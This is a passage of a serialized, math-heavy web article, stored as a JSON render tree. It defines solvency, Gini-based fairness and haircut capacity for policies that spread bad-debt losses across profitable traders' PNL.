g":315,"props":161972,"children":161974},{"className":161973},[20149],[161975],{"type":26,"value":20152},{"type":20,"tag":315,"props":161977,"children":161979},{"className":161978},[2429],[161980],{"type":20,"tag":315,"props":161981,"children":161983},{"className":161982,"style":91388},[2434],[161984],{"type":20,"tag":315,"props":161985,"children":161986},{},[],{"type":26,"value":161988}," is the positive part of PNL.)",{"type":20,"tag":29,"props":161990,"children":161991},{},[161992],{"type":26,"value":161993},"And let's make the trilemma definitions concrete:",{"type":20,"tag":15089,"props":161995,"children":161996},{},[161997,162471,163035],{"type":20,"tag":72,"props":161998,"children":161999},{},[162000,162004,162005,162259,162261,162312,162314,162417,162418,162469],{"type":20,"tag":55,"props":162001,"children":162002},{},[162003],{"type":26,"value":159117},{"type":26,"value":31325},{"type":20,"tag":119,"props":162006,"children":162008},{"className":162007},[2375,2376],[162009],{"type":20,"tag":315,"props":162010,"children":162012},{"className":162011},[2381],[162013],{"type":20,"tag":315,"props":162014,"children":162016},{"className":162015,"ariaHidden":2387},[2386],[162017,162044],{"type":20,"tag":315,"props":162018,"children":162020},{"className":162019},[2392],[162021,162026,162031,162035,162040],{"type":20,"tag":315,"props":162022,"children":162025},{"className":162023,"style":162024},[2397],"height:0.7278em;vertical-align:-0.0833em;",[],{"type":20,"tag":315,"props":162027,"children":162029},{"className":162028},[2403],[162030],{"type":26,"value":2406},{"type":20,"tag":315,"props":162032,"children":162034},{"className":162033,"style":2484},[2483],[],{"type":20,"tag":315,"props":162036,"children":162038},{"className":162037},[2489],[162039],{"type":26,"value":2463},{"type":20,"tag":315,"props":162041,"children":162043},{"className":162042,"style":2484},[2483],[],{"type":20,"tag":315,"props":162045,"children":162047},{"className":162046},[2392],[162048,162053],{"type":20,"tag":315,"props":162049,"children":162052},{"className":162050,"style":162051},[2397],"height:1.3337em;vertical-align:-0.4453em;",[],{"type":20,"tag":315,"props":162054,"children":162056},{"className":162055},[2403],[162057,162061,162255],{"type":20,"tag":315,"props":162058,"children":162060},{"className":162059},[20121,111823],[],{"type":20,"tag":315,"props":162062,"children":162064},{"className":162063},[111828],[162065],{"type":20,"tag":315,"props":162066,"children":162068},{"className":162067},[2424,20046],[162069,162243],{"type":20,"tag":315,"props":162070,"children":162072},{"className":162071},[2429],[162073,162238],{"type":20,"tag":315,"props":162074,"children":162077},{"className":162075,"style":162076},[2434],"height:0.8884em;",[162078,162152,162163],{"type":20,"tag":315,"props":162079,"children":162080},{"style":111845},[162081,162085],{"type":20,"tag":315,"props":162082,"children":162084},{"className":162083,"style":110476},[2443],[],{"type":20,"tag":315,"props":162086,"children":162088},{"className":162087},[2449,2450,2451,2452],[162089],{"type":20,"tag":315,"props":162090,"children":162092},{"className":162091},[2403,2452],[162093],{"type":20,"tag":315,"props":162094,"children":162096},{"className":162095},[2403,2452],[162097,162102],{"type":20,"tag":315,"props":162098,"children":162100},{"className":162099,"style":91305},[2403,19992,2452],[162101],{"type":26,"value":159792},{"type":20,"tag":315,"props":162103,"children":162105},{"className":162104},[2419],[162106],{"type":20,"tag":315,"props":162107,"children":162109},{"className":162108},[2424,20046],[162110,162140],{"type":20,"tag":315,"props":162111,"children":162113},{"className":162112},[2429],[162114,162135],{"type":20,"tag":315,"props":162115,"children":162117},{"className":162116,"style":110637},[2434],[162118],{"type":20,"tag":315,"props":162119,"children":162121},{"style":162120},"top:-2.3567em;margin-left:-0.0278em;margin-right:0.0714em;",[162122,162126],{"type":20,"tag":315,"props":162123,"children":162125},{"className":162124,"style":107165},[2443],[],{"type":20,"tag":315,"props":162127,"children":162129},{"className":162128},[2449,107170,107171,2452],[162130],{"type":20,"tag":315,"props":162131,"children":162133},{"className":162132,"style":19993},[2403,19992,2452],[162134],{"type":26,"value":4381},{"type":20,"tag":315,"props":162136,"children":162138},{"className":162137},[20149],[162139],{"type":26,"value":20152},{"type":20,"tag":315,"props":162141,"children":162143},{"className":162142},[2429],[162144],{"type":20,"tag":315,"props":162145,"children":162148},{"className":162146,"style":162147},[2434],"height:0.1433em;",[162149],{"type":20,"tag":315,"props":162150,"children":162151},{},[],{"type":20,"tag":315,"props":162153,"children":162154},{"style":111878},[162155,162159],{"type":20,"tag":315,"props":162156,"children":162158},{"className":162157,"style":110476},[2443],[],{"type":20,"tag":315,"props":162160,"children":162162},{"className":162161,"style":111888},[111887],[],{"type":20,"tag":315,"props":162164,"children":162166},{"style":162165},"top:-3.4101em;",[162167,162171],{"type":20,"tag":315,"props":162168,"children":162170},{"className":162169,"style":110476},[2443],[],{"type":20,"tag":315,"props":162172,"children":162174},{"className":162173},[2449,2450,2451,2452],[162175],{"type":20,"tag":315,"props":162176,"children":162178},{"className":162177},[2403,2452],[162179],{"type":20,"tag":315,"props":162180,"children":162182},{"className":162181},[2403,2452],[162183,162188],{"type":20,"tag":315,"props":162184,"children":162186},{"className":162185,"style":121082},[2403,19992,2452],[162187],{"type":26,"value":121085},{"type":20,"tag":315,"props":162189,"children":162191},{"className":162190},[2419],[162192],{"type":20,"tag":315,"props":162193,"children":162195},{"className":162194},[2424,20046],[162196,162227],{"type":20,"tag":315,"props":162197,"children":162199},{"className":162198},[2429],[162200,162222],{"type":20,"tag":315,"props":162201,"children":162204},{"className":162202,"style":162203},[2434],"height:0.2963em;",[162205],{"type":20,"tag":315,"props":162206,"children":162208},{"style":162207},"top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;",[162209,162213],{"type":20,"tag":315,"props":162210,"children":162212},{"className":162211,"style":107165},[2443],[],{"type":20,"tag":315,"props":162214,"children":162216},{"className":162215},[2449,107170,107171,2452],[162217],{"type":20,"tag":315,"props":162218,"children":162220},{"className":162219},[2403,19992,2452],[162221],{"type":26,"value":20134},{"type":20,"tag":315,"props":162223,"children":162225},{"className":162224},[20149],[162226],{"type":26,"value":20152},{"type":20,"tag":315,"props":162228,"children":162230},{"className":162229},[2429],[162231],{"type":20,"tag":315,"props":162232,"children":162234},{"className":162233,"style":107190},[2434],[162235],{"type":20,"tag":315,"props":162236,"children":162237},{},[],{"type":20,"tag":315,"props":162239,"children":162241},{"className":162240},[20149],[162242],{"type":26,"value":20152},{"type":20,"tag":315,"props":162244,"children":162246},{"className":162245},[2429],[162247],{"type":20,"tag":315,"props":162248,"children":162251},{"className":162249,"style":162250},[2434],"height:0.4453em;",[162252],{"type":20,"tag":315,"props":162253,"children":162254},{},[],{"type":20,"tag":315,"props":162256,"children":162258},{"className":162257},[20143,111823],[],{"type":26,"value":162260}," — how much of the total bad debt was actually covered. ",{"type":20,"tag":119,"props":162262,"children":162264},{"className":162263},[2375,2376],[162265],{"type":20,"tag":315,"props":162266,"children":162268},{"className":162267},[2381],[162269],{"type":20,"tag":315,"props":162270,"children":162272},{"className":162271,"ariaHidden":2387},[2386],[162273,162299],{"type":20,"tag":315,"props":162274,"children":162276},{"className":162275},[2392],[162277,162281,162286,162290,162295],{"type":20,"tag":315,"props":162278,"children":162280},{"className":162279,"style":19987},[2397],[],{"type":20,"tag":315,"props":162282,"children":162284},{"className":162283,"style":20451},[2403,19992],[162285],{"type":26,"value":20454},{"type":20,"tag":315,"props":162287,"children":162289},{"className":162288,"style":2581},[2483],[],{"type":20,"tag":315,"props":162291,"children":162293},{"className":162292},[2586],[162294],{"type":26,"value":337},{"type":20,"tag":315,"props":162296,"children":162298},{"className":162297,"style":2581},[2483],[],{"type":20,"tag":315,"props":162300,"children":162302},{"className":162301},[2392],[162303,162307],{"type":20,"tag":315,"props":162304,"children":162306},{"className":162305,"style":92336},[2397],[],{"type":20,"tag":315,"props":162308,"children":162310},{"className":162309},[2403],[162311],{"type":26,"value":2406},{"type":26,"value":162313}," means fully solvent (",{"type":20,"tag":119,"props":162315,"children":162317},{"className":162316},[2375,2376],[162318],{"type":20,"tag":315,"props":162319,"children":162321},{"className":162320},[2381],[162322],{"type":20,"tag":315,"props":162323,"children":162325},{"className":162324,"ariaHidden":2387},[2386],[162326,162404],{"type":20,"tag":315,"props":162327,"children":162329},{"className":162328},[2392],[162330,162334,162391,162395,162400],{"type":20,"tag":315,"props":162331,"children":162333},{"className":162332,"style":109302},[2397],[],{"type":20,"tag":315,"props":162335,"children":162337},{"className":162336},[2403],[162338,162343],{"type":20,"tag":315,"props":162339,"children":162341},{"className":162340,"style":121082},[2403,19992],[162342],{"type":26,"value":121085},{"type":20,"tag":315,"props":162344,"children":162346},{"className":162345},[2419],[162347],{"type":20,"tag":315,"props":162348,"children":162350},{"className":162349},[2424,20046],[162351,162380],{"type":20,"tag":315,"props":162352,"children":162354},{"className":162353},[2429],[162355,162375],{"type":20,"tag":315,"props":162356,"children":162358},{"className":162357,"style":159948},[2434],[162359],{"type":20,"tag":315,"props":162360,"children":162361},{"style":159952},[162362,162366],{"type":20,"tag":315,"props":162363,"children":162365},{"className":162364,"style":2444},[2443],[],{"type":20,"tag":315,"props":162367,"children":162369},{"className":162368},[2449,2450,2451,2452],[162370],{"type":20,"tag":315,"props":162371,"children":162373},{"className":162372},[2403,19992,2452],[162374],{"type":26,"value":20134},{"type":20,"tag":315,"props":162376,"children":162378},{"className":162377},[20149],[162379],{"type":26,"value":20152},{"type":20,"tag":315,"props":162381,"children":162383},{"className":162382},[2429],[162384],{"type":20,"tag":315,"props":162385,"children":162387},{"className":162386,"style":91388},[2434],[162388],{"type":20,"tag":315,"props":162389,"children":162390},{},[],{"type":20,"tag":315,"props":162392,"children":162394},{"className":162393,"style":2581},[2483],[],{"type":20,"tag":315,"props":162396,"children":162398},{"className":162397},[2586],[162399],{"type":26,"value":337},{"type":20,"tag":315,"props":162401,"children":162403},{"className":162402,"style":2581},[2483],[],{"type":20,"tag":315,"props":162405,"children":162407},{"className":162406},[2392],[162408,162412],{"type":20,"tag":315,"props":162409,"children":162411},{"className":162410,"style":92336},[2397],[],{"type":20,"tag":315,"props":162413,"children":162415},{"className":162414},[2403],[162416],{"type":26,"value":1063},{"type":26,"value":13578},{"type":20,"tag":119,"props":162419,"children":162421},{"className":162420},[2375,2376],[162422],{"type":20,"tag":315,"props":162423,"children":162425},{"className":162424},[2381],[162426],{"type":20,"tag":315,"props":162427,"children":162429},{"className":162428,"ariaHidden":2387},[2386],[162430,162456],{"type":20,"tag":315,"props":162431,"children":162433},{"className":162432},[2392],[162434,162438,162443,162447,162452],{"type":20,"tag":315,"props":162435,"children":162437},{"className":162436,"style":19987},[2397],[],{"type":20,"tag":315,"props":162439,"children":162441},{"className":162440,"style":20451},[2403,19992],[162442],{"type":26,"value":20454},{"type":20,"tag":315,"props":162444,"children":162446},{"className":162445,"style":2581},[2483],[],{"type":20,"tag":315,"props":162448,"children":162450},{"className":162449},[2586],[162451],{"type":26,"value":337},{"type":20,"tag":315,"props":162453,"children":162455},{"className":162454,"style":2581},[2483],[],{"type":20,"tag":315,"props":162457,"children":162459},{"className":162458},[2392],[162460,162464],{"type":20,"tag":315,"props":162461,"children":162463},{"className":162462,"style":92336},[2397],[],{"type":20,"tag":315,"props":162465,"children":162467},{"className":162466},[2403],[162468],{"type":26,"value":1063},{"type":26,"value":162470}," means nothing was recovered.",{"type":20,"tag":72,"props":162472,"children":162473},{},[162474,162478,162479,162602,162603,162820,162822,162926,162928,162979,162981,163033],{"type":20,"tag":55,"props":162475,"children":162476},{},[162477],{"type":26,"value":159127},{"type":26,"value":31325},{"type":20,"tag":119,"props":162480,"children":162482},{"className":162481},[2375,2376],[162483],{"type":20,"tag":315,"props":162484,"children":162486},{"className":162485},[2381],[162487],{"type":20,"tag":315,"props":162488,"children":162490},{"className":162489,"ariaHidden":2387},[2386],[162491,162517],{"type":20,"tag":315,"props":162492,"children":162494},{"className":162493},[2392],[162495,162499,162504,162508,162513],{"type":20,"tag":315,"props":162496,"children":162498},{"className":162497,"style":162024},[2397],[],{"type":20,"tag":315,"props":162500,"children":162502},{"className":162501},[2403],[162503],{"type":26,"value":2406},{"type":20,"tag":315,"props":162505,"children":162507},{"className":162506,"style":2484},[2483],[],{"type":20,"tag":315,"props":162509,"children":162511},{"className":162510},[2489],[162512],{"type":26,"value":2463},{"type":20,"tag":315,"props":162514,"children":162516},{"className":162515,"style":2484},[2483],[],{"type":20,"tag":315,"props":162518,"children":162520},{"className":162519},[2392],[162521,162525,162535,162540,162597],{"type":20,"tag":315,"props":162522,"children":162524},{"className":162523,"style":2504},[2397],[],{"type":20,"tag":315,"props":162526,"children":162528},{"className":162527},[2403,26],[162529],{"type":20,"tag":315,"props":162530,"children":162532},{"className":162531},[2403],[162533],{"type":26,"value":162534},"Gini",{"type":20,"tag":315,"props":162536,"children":162538},{"className":162537},[20121],[162539],{"type":26,"value":1049},{"type":20,"tag":315,"props":162541,"children":162543},{"className":162542},[2403],[162544,162549],{"type":20,"tag":315,"props":162545,"children":162547},{"className":162546},[2403,19992],[162548],{"type":26,"value":82603},{"type":20,"tag":315,"props":162550,"children":162552},{"className":162551},[2419],[162553],{"type":20,"tag":315,"props":162554,"children":162556},{"className":162555},[2424,20046],[162557,162586],{"type":20,"tag":315,"props":162558,"children":162560},{"className":162559},[2429],[162561,162581],{"type":20,"tag":315,"props":162562,"children":162564},{"className":162563,"style":91834},[2434],[162565],{"type":20,"tag":315,"props":162566,"children":162567},{"style":91361},[162568,162572],{"type":20,"tag":315,"props":162569,"children":162571},{"className":162570,"style":2444},[2443],[],{"type":20,"tag":315,"props":162573,"children":162575},{"className":162574},[2449,2450,2451,2452],[162576],{"type":20,"tag":315,"props":162577,"children":162579},{"className":162578},[2403,19992,2452],[162580],{"type":26,"value":2122},{"type":20,"tag":315,"props":162582,"children":162584},{"className":162583},[20149],[162585],{"type":26,"value":20152},{"type":20,"tag":315,"props":162587,"children":162589},{"className":162588},[2429],[162590],{"type":20,"tag":315,"props":162591,"children":162593},{"className":162592,"style":91388},[2434],[162594],{"type":20,"tag":315,"props":162595,"children":162596},{},[],{"type":20,"tag":315,"props":162598,"children":162600},{"className":162599},[20143],[162601],{"type":26,"value":1509},{"type":26,"value":5717},{"type":20,"tag":119,"props":162604,"children":162606},{"className":162605},[2375,2376],[162607],{"type":20,"tag":315,"props":162608,"children":162610},{"className":162609},[2381],[162611],{"type":20,"tag":315,"props":162612,"children":162614},{"className":162613,"ariaHidden":2387},[2386],[162615,162693],{"type":20,"tag":315,"props":162616,"children":162618},{"className":162617},[2392],[162619,162623,162680,162684,162689],{"type":20,"tag":315,"props":162620,"children":162622},{"className":162621,"style":140584},[2397],[],{"type":20,"tag":315,"props":162624,"children":162626},{"className":162625},[2403],[162627,162632],{"type":20,"tag":315,"props":162628,"children":162630},{"className":162629},[2403,19992],[162631],{"type":26,"value":82603},{"type":20,"tag":315,"props":162633,"children":162635},{"className":162634},[2419],[162636],{"type":20,"tag":315,"props":162637,"children":162639},{"className":162638},[2424,20046],[162640,162669],{"type":20,"tag":315,"props":162641,"children":162643},{"className":162642},[2429],[162644,162664],{"type":20,"tag":315,"props":162645,"children":162647},{"className":162646,"style":91834},[2434],[162648],{"type":20,"tag":315,"props":162649,"children":162650},{"style":91361},[162651,162655],{"type":20,"tag":315,"props":162652,"children":162654},{"className":162653,"style":2444},[2443],[],{"type":20,"tag":315,"props":162656,"children":162658},{"className":162657},[2449,2450,2451,2452],[162659],{"type":20,"tag":315,"props":162660,"children":162662},{"className":162661},[2403,19992,2452],[162663],{"type":26,"value":2122},{"type":20,"tag":315,"props":162665,"children":162667},{"className":162666},[20149],[162668],{"type":26,"value":20152},{"type":20,"tag":315,"props":162670,"children":162672},{"className":162671},[2429],[162673],{"type":20,"tag":315,"props":162674,"children":162676},{"className":162675,"style":91388},[2434],[162677],{"type":20,"tag":315,"props":162678,"children":162679},{},[],{"type":20,"tag":315,"props":162681,"children":162683},{"className":162682,"style":2581},[2483],[],{"type":20,"tag":315,"props":162685,"children":162687},{"className":162686},[2586],[162688],{"type":26,"value":337},{"type":20,"tag":315,"props":162690,"children":162692},{"className":162691,"style":2581},[2483],[],{"type":20,"tag":315,"props":162694,"children":162696},{"className":162695},[2392],[162697,162701,162758,162763],{"type":20,"tag":315,"props":162698,"children":162700},{"className":162699,"style":2504},[2397],[],{"type":20,"tag":315,"props":162702,"children":162704},{"className":162703},[2403],[162705,162710],{"type":20,"tag":315,"props":162706,"children":162708},{"className":162707},[2403,19992],[162709],{"type":26,"value":17680},{"type":20,"tag":315,"props":162711,"children":162713},{"className":162712},[2419],[162714],{"type":20,"tag":315,"props":162715,"children":162717},{"className":162716},[2424,20046],[162718,162747],{"type":20,"tag":315,"props":162719,"children":162721},{"className":162720},[2429],[162722,162742],{"type":20,"tag":315,"props":162723,"children":162725},{"className":162724,"style":91834},[2434],[162726],{"type":20,"tag":315,"props":162727,"children":162728},{"style":91361},[162729,162733],{"type":20,"tag":315,"props":162730,"children":162732},{"className":162731,"style":2444},[2443],[],{"type":20,"tag":315,"props":162734,"children":162736},{"className":162735},[2449,2450,2451,2452],[162737],{"type":20,"tag":315,"props":162738,"children":162740},{"className":162739},[2403,19992,2452],[162741],{"type":26,"value":2122},{"type":20,"tag":315,"props":162743,"children":162745},{"className":162744},[20149],[162746],{"type":26,"value":20152},{"type":20,"tag":315,"props":162748,"children":162750},{"className":162749},[2429],[162751],{"type":20,"tag":315,"props":162752,"children":162754},{"className":162753,"style":91388},[2434],[162755],{"type":20,"tag":315,"props":162756,"children":162757},{},[],{"type":20,"tag":315,"props":162759,"children":162761},{"className":162760},[2403],[162762],{"type":26,"value":786},{"type":20,"tag":315,"props":162764,"children":162766},{"className":162765},[2403],[162767,162772],{"type":20,"tag":315,"props":162768,"children":162770},{"className":162769,"style":120585},[2403,19992],[162771],{"type":26,"value":47823},{"type":20,"tag":315,"props":162773,"children":162775},{"className":162774},[2419],[162776],{"type":20,"tag":315,"props":162777,"children":162779},{"className":162778},[2424,20046],[162780,162809],{"type":20,"tag":315,"props":162781,"children":162783},{"className":162782},[2429],[162784,162804],{"type":20,"tag":315,"props":162785,"children":162787},{"className":162786,"style":91834},[2434],[162788],{"type":20,"tag":315,"props":162789,"children":162790},{"style":159533},[162791,162795],{"type":20,"tag":315,"props":162792,"children":162794},{"className":162793,"style":2444},[2443],[],{"type":20,"tag":315,"props":162796,"children":162798},{"className":162797},[2449,2450,2451,2452],[162799],{"type":20,"tag":315,"props":162800,"children":162802},{"className":162801},[2403,19992,2452],[162803],{"type":26,"value":2122},{"type":20,"tag":315,"props":162805,"children":162807},{"className":162806},[20149],[162808],{"type":26,"value":20152},{"type":20,"tag":315,"props":162810,"children":162812},{"className":162811},[2429],[162813],{"type":20,"tag":315,"props":162814,"children":162816},{"className":162815,"style":91388},[2434],[162817],{"type":20,"tag":315,"props":162818,"children":162819},{},[],{"type":26,"value":162821}," for each winner with ",{"type":20,"tag":119,"props":162823,"children":162825},{"className":162824},[2375,2376],[162826],{"type":20,"tag":315,"props":162827,"children":162829},{"className":162828},[2381],[162830],{"type":20,"tag":315,"props":162831,"children":162833},{"className":162832,"ariaHidden":2387},[2386],[162834,162913],{"type":20,"tag":315,"props":162835,"children":162837},{"className":162836},[2392],[162838,162843,162900,162904,162909],{"type":20,"tag":315,"props":162839,"children":162842},{"className":162840,"style":162841},[2397],"height:0.6891em;vertical-align:-0.15em;",[],{"type":20,"tag":315,"props":162844,"children":162846},{"className":162845},[2403],[162847,162852],{"type":20,"tag":315,"props":162848,"children":162850},{"className":162849,"style":120585},[2403,19992],[162851],{"type":26,"value":47823},{"type":20,"tag":315,"props":162853,"children":162855},{"className":162854},[2419],[162856],{"type":20,"tag":315,"props":162857,"children":162859},{"className":162858},[2424,20046],[162860,162889],{"type":20,"tag":315,"props":162861,"children":162863},{"className":162862},[2429],[162864,162884],{"type":20,"tag":315,"props":162865,"children":162867},{"className":162866,"style":91834},[2434],[162868],{"type":20,"tag":315,"props":162869,"children":162870},{"style":159533},[162871,162875],{"type":20,"tag":315,"props":162872,"children":162874},{"className":162873,"style":2444},[2443],[],{"type":20,"tag":315,"props":162876,"children":162878},{"className":162877},[2449,2450,2451,2452],[162879],{"type":20,"tag":315,"props":162880,"children":162882},{"className":162881},[2403,19992,2452],[162883],{"type":26,"value":2122},{"type":20,"tag":315,"props":162885,"children":162887},{"className":162886},[20149],[162888],{"type":26,"value":20152},{"type":20,"tag":315,"props":162890,"children":162892},{"className":162891},[2429],[162893],{"type":20,"tag":315,"props":162894,"children":162896},{"className":162895,"style":91388},[2434],[162897],{"type":20,"tag":315,"props":162898,"children":162899},{},[],{"type":20,"tag":315,"props":162901,"children":162903},{"className":162902,"style":2581},[2483],[],{"type":20,"tag":315,"props":162905,"children":162907},{"className":162906},[2586],[162908],{"type":26,"value":8862},{"type":20,"tag":315,"props":162910,"children":162912},{"className":162911,"style":2581},[2483],[],{"type":20,"tag":315,"props":162914,"children":162916},{"className":162915},[2392],[162917,162921],{"type":20,"tag":315,"props":162918,"children":162920},{"className":162919,"style":92336},[2397],[],{"type":20,"tag":315,"props":162922,"children":162924},{"className":162923},[2403],[162925],{"type":26,"value":1063},{"type":26,"value":162927}," — how uniformly the haircut burden is distributed across profitable traders. ",{"type":20,"tag":119,"props":162929,"children":162931},{"className":162930},[2375,2376],[162932],{"type":20,"tag":315,"props":162933,"children":162935},{"className":162934},[2381],[162936],{"type":20,"tag":315,"props":162937,"children":162939},{"className":162938,"ariaHidden":2387},[2386],[162940,162966],{"type":20,"tag":315,"props":162941,"children":162943},{"className":162942},[2392],[162944,162948,162953,162957,162962],{"type":20,"tag":315,"props":162945,"children":162947},{"className":162946,"style":19987},[2397],[],{"type":20,"tag":315,"props":162949,"children":162951},{"className":162950,"style":19993},[2403,19992],[162952],{"type":26,"value":120083},{"type":20,"tag":315,"props":162954,"children":162956},{"className":162955,"style":2581},[2483],[],{"type":20,"tag":315,"props":162958,"children":162960},{"className":162959},[2586],[162961],{"type":26,"value":337},{"type":20,"tag":315,"props":162963,"children":162965},{"className":162964,"style":2581},[2483],[],{"type":20,"tag":315,"props":162967,"children":162969},{"className":162968},[2392],[162970,162974],{"type":20,"tag":315,"props":162971,"children":162973},{"className":162972,"style":92336},[2397],[],{"type":20,"tag":315,"props":162975,"children":162977},{"className":162976},[2403],[162978],{"type":26,"value":2406},{"type":26,"value":162980}," means everyone loses the same fraction of their PNL. ",{"type":20,"tag":119,"props":162982,"children":162984},{"className":162983},[2375,2376],[162985],{"type":20,"tag":315,"props":162986,"children":162988},{"className":162987},[2381],[162989],{"type":20,"tag":315,"props":162990,"children":162992},{"className":162991,"ariaHidden":2387},[2386],[162993,163020],{"type":20,"tag":315,"props":162994,"children":162996},{"className":162995},[2392],[162997,163001,163006,163010,163016],{"type":20,"tag":315,"props":162998,"children":163000},{"className":162999,"style":19987},[2397],[],{"type":20,"tag":315,"props":163002,"children":163004},{"className":163003,"style":19993},[2403,19992],[163005],{"type":26,"value":120083},{"type":20,"tag":315,"props":163007,"children":163009},{"className":163008,"style":2581},[2483],[],{"type":20,"tag":315,"props":163011,"children":163013},{"className":163012},[2586],[163014],{"type":26,"value":163015},"≈",{"type":20,"tag":315,"props":163017,"children":163019},{"className":163018,"style":2581},[2483],[],{"type":20,"tag":315,"props":163021,"children":163023},{"className":163022},[2392],[163024,163028],{"type":20,"tag":315,"props":163025,"children":163027},{"className":163026,"style":92336},[2397],[],{"type":20,"tag":315,"props":163029,"children":163031},{"className":163030},[2403],[163032],{"type":26,"value":1063},{"type":26,"value":163034}," means a few get wiped while most are untouched.",{"type":20,"tag":72,"props":163036,"children":163037},{},[163038,163042,163043,163201,163203,163297,163299],{"type":20,"tag":55,"props":163039,"children":163040},{},[163041],{"type":26,"value":159137},{"type":26,"value":31325},{"type":20,"tag":119,"props":163044,"children":163046},{"className":163045},[2375,2376],[163047],{"type":20,"tag":315,"props":163048,"children":163050},{"className":163049},[2381],[163051],{"type":20,"tag":315,"props":163052,"children":163054},{"className":163053,"ariaHidden":2387},[2386],[163055],{"type":20,"tag":315,"props":163056,"children":163058},{"className":163057},[2392],[163059,163064,163139,163144],{"type":20,"tag":315,"props":163060,"children":163063},{"className":163061,"style":163062},[2397],"height:1.0253em;vertical-align:-0.2753em;",[],{"type":20,"tag":315,"props":163065,"children":163067},{"className":163066},[2403],[163068,163073],{"type":20,"tag":315,"props":163069,"children":163071},{"className":163070,"style":93313},[2403,19992],[163072],{"type":26,"value":159862},{"type":20,"tag":315,"props":163074,"children":163076},{"className":163075},[2419],[163077],{"type":20,"tag":315,"props":163078,"children":163080},{"className":163079},[2424,20046],[163081,163127],{"type":20,"tag":315,"props":163082,"children":163084},{"className":163083},[2429],[163085,163122],{"type":20,"tag":315,"props":163086,"children":163088},{"className":163087,"style":107022},[2434],[163089,163106],{"type":20,"tag":315,"props":163090,"children":163092},{"style":163091},"top:-2.4247em;margin-left:-0.109em;margin-right:0.05em;",[163093,163097],{"type":20,"tag":315,"props":163094,"children":163096},{"className":163095,"style":2444},[2443],[],{"type":20,"tag":315,"props":163098,"children":163100},{"className":163099},[2449,2450,2451,2452],[163101],{"type":20,"tag":315,"props":163102,"children":163104},{"className":163103,"style":19993},[2403,19992,2452],[163105],{"type":26,"value":4381},{"type":20,"tag":315,"props":163107,"children":163108},{"style":2438},[163109,163113],{"type":20,"tag":315,"props":163110,"children":163112},{"className":163111,"style":2444},[2443],[],{"type":20,"tag":315,"props":163114,"children":163116},{"className":163115},[2449,2450,2451,2452],[163117],{"type":20,"tag":315,"props":163118,"children":163120},{"className":163119,"style":91791},[2403,19992,2452],[163121],{"type":26,"value":159376},{"type":20,"tag":315,"props":163123,"children":163125},{"className":163124},[20149],[163126],{"type":26,"value":20152},{"type":20,"tag":315,"props":163128,"children":163130},{"className":163129},[2429],[163131],{"type":20,"tag":315,"props":163132,"children":163135},{"className":163133,"style":163134},[2434],"height:0.2753em;",[163136],{"type":20,"tag":315,"props":163137,"children":163138},{},[],{"type":20,"tag":315,"props":163140,"children":163142},{"className":163141},[2403],[163143],{"type":26,"value":786},{"type":20,"tag":315,"props":163145,"children":163147},{"className":163146},[2403],[163148,163153],{"type":20,"tag":315,"props":163149,"children":163151},{"className":163150,"style":93313},[2403,19992],[163152],{"type":26,"value":159862},{"type":20,"tag":315,"props":163154,"children":163156},{"className":163155},[2419],[163157],{"type":20,"tag":315,"props":163158,"children":163160},{"className":163159},[2424,20046],[163161,163190],{"type":20,"tag":315,"props":163162,"children":163164},{"className":163163},[2429],[163165,163185],{"type":20,"tag":315,"props":163166,"children":163168},{"className":163167,"style":140860},[2434],[163169],{"type":20,"tag":315,"props":163170,"children":163171},{"style":159881},[163172,163176],{"type":20,"tag":315,"props":163173,"children":163175},{"className":163174,"style":2444},[2443],[],{"type":20,"tag":315,"props":163177,"children":163179},{"className":163178},[2449,2450,2451,2452],[163180],{"type":20,"tag":315,"props":163181,"children":163183},{"className":163182,"style":19993},[2403,19992,2452],[163184],{"type":26,"value":4381},{"type":20,"tag":315,"props":163186,"children":163188},{"className":163187},[20149],[163189],{"type":26,"value":20152},{"type":20,"tag":315,"props":163191,"children":163193},{"className":163192},[2429],[163194],{"type":20,"tag":315,"props":163195,"children":163197},{"className":163196,"style":91388},[2434],[163198],{"type":20,"tag":315,"props":163199,"children":163200},{},[],{"type":26,"value":163202}," — ",{"type":20,"tag":119,"props":163204,"children":163206},{"className":163205},[2375,2376],[163207],{"type":20,"tag":315,"props":163208,"children":163210},{"className":163209},[2381],[163211],{"type":20,"tag":315,"props":163212,"children":163214},{"className":163213,"ariaHidden":2387},[2386],[163215],{"type":20,"tag":315,"props":163216,"children":163218},{"className":163217},[2392],[163219,163224],{"type":20,"tag":315,"props":163220,"children":163223},{"className":163221,"style":163222},[2397],"height:0.9587em;vertical-align:-0.2753em;",[],{"type":20,"tag":315,"props":163225,"children":163227},{"className":163226},[2403],[163228,163233],{"type":20,"tag":315,"props":163229,"children":163231},{"className":163230,"style":93313},[2403,19992],[163232],{"type":26,"value":159862},{"type":20,"tag":315,"props":163234,"children":163236},{"className":163235},[2419],[163237],{"type":20,"tag":315,"props":163238,"children":163240},{"className":163239},[2424,20046],[163241,163286],{"type":20,"tag":315,"props":163242,"children":163244},{"className":163243},[2429],[163245,163281],{"type":20,"tag":315,"props":163246,"children":163248},{"className":163247,"style":107022},[2434],[163249,163265],{"type":20,"tag":315,"props":163250,"children":163251},{"style":163091},[163252,163256],{"type":20,"tag":315,"props":163253,"children":163255},{"className":163254,"style":2444},[2443],[],{"type":20,"tag":315,"props":163257,"children":163259},{"className":163258},[2449,2450,2451,2452],[163260],{"type":20,"tag":315,"props":163261,"children":163263},{"className":163262,"style":19993},[2403,19992,2452],[163264],{"type":26,"value":4381},{"type":20,"tag":315,"props":163266,"children":163267},{"style":2438},[163268,163272],{"type":20,"tag":315,"props":163269,"children":163271},{"className":163270,"style":2444},[2443],[],{"type":20,"tag":315,"props":163273,"children":163275},{"className":163274},[2449,2450,2451,2452],[163276],{"type":20,"tag":315,"props":163277,"children":163279},{"className":163278,"style":91791},[2403,19992,2452],[163280],{"type":26,"value":159376},{"type":20,"tag":315,"props":163282,"children":163284},{"className":163283},[20149],[163285],{"type":26,"value":20152},{"type":20,"tag":315,"props":163287,"children":163289},{"className":163288},[2429],[163290],{"type":20,"tag":315,"props":163291,"children":163293},{"className":163292,"style":163134},[2434],[163294],{"type":20,"tag":315,"props":163295,"children":163296},{},[],{"type":26,"value":163298}," is the haircut capacity (total positive PNL) after going through a policy 